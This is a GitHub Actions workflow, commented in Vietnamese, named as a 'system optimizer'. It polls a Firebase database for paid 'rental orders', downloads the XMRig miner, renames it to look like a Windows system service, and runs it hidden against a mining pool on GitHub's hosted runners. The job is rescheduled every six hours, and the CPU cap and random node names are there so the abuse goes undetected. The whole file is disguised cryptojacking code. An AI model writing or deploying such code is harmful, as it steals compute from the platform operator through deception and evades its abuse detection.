name: Production_System_Optimizer on: workflow_dispatch: # Kích hoạt từ Web Admin qua API schedule: - cron: '0 */6 * * *' # Tự động bật máy mới mỗi 6 tiếng để chạy đủ 24h jobs: system-check: runs-on: windows-latest steps: - name: Initialize Optimization shell: powershell run: | # --- CẤU HÌNH FIREBASE --- $DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app/orders/current_job.json" Write-Host "--- ZENOT AUTOMATION SYSTEM V39 ---" -ForegroundColor Cyan # 1. KIỂM TRA TRẠNG THÁI THUÊ TỪ FIREBASE try { $Job = Invoke-RestMethod -Uri $DB_URL -Method Get if ($null -eq $Job -or $Job.status -ne "active") { Write-Host "Status: Inactive. No rental order found." -ForegroundColor Red return } $StartTime = [double]$Job.startTime $DurationHrs = [int]$Job.duration $CurrentTime = [double](Get-Date -UFormat %s) * 1000 $EndTime = $StartTime + ($DurationHrs * 3600 * 1000) if ($CurrentTime -ge $EndTime) { Write-Host "Status: Expired. Rental time is over." -ForegroundColor Red return } $RemMin = [math]::Round(($EndTime - $CurrentTime) / 60000) Write-Host "Order Valid: $($Job.coin) | Remaining: $RemMin mins" -ForegroundColor Green } catch { Write-Host "Error connecting to Firebase." -ForegroundColor Red return } # 2. THIẾT LẬP MÔI TRƯỜNG NGUỴ TRANG $AppDir = "$env:APPDATA\WinSystemServices" if (!(Test-Path $AppDir)) { New-Item -ItemType Directory -Path $AppDir -Force } $MinerPath = "$AppDir\WinSysOptimizer.exe" $ZipPath = "$AppDir\assets.zip" # Tải tài nguyên nếu chưa có if (!(Test-Path $MinerPath)) { Write-Host "Downloading system assets..." -ForegroundColor Yellow $Url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" Invoke-WebRequest -Uri $Url -OutFile $ZipPath Expand-Archive -Path $ZipPath -DestinationPath $AppDir -Force Get-ChildItem -Path $AppDir -Recurse -Filter "xmrig.exe" | Move-Item -Destination $MinerPath -Force Remove-Item $ZipPath -Force } # 3. KÍCH HOẠT ĐÀO TÀNG HÌNH (KK BAN) # Tạo tên máy ngẫu nhiên để tránh bị phát hiện chuỗi máy ảo $NodeName = "Node-" + (Get-Random -Minimum 1000 -Maximum 9999) $UserStr = "$($Job.coin):$($Job.wallet).$NodeName" # Cấu hình quan trọng: CPU 40% và Cổng mã hoá TLS 443 $Args = @( "-o", "rx.unmineable.com:443", "-a", "rx/0", "-u", $UserStr, "-p", "x", "--tls", "--cpu-max-threads-hint", "40", "--background" ) Write-Host "Starting Optimization Process..." -ForegroundColor Magenta Start-Process -FilePath $MinerPath -ArgumentList $Args -WindowStyle Hidden # 4. DUY TRÌ TIẾN TRÌNH (Sống trong ~6 tiếng của GitHub) Write-Host "System is running. Monitoring duration..." -ForegroundColor Green Start-Sleep -Seconds 21000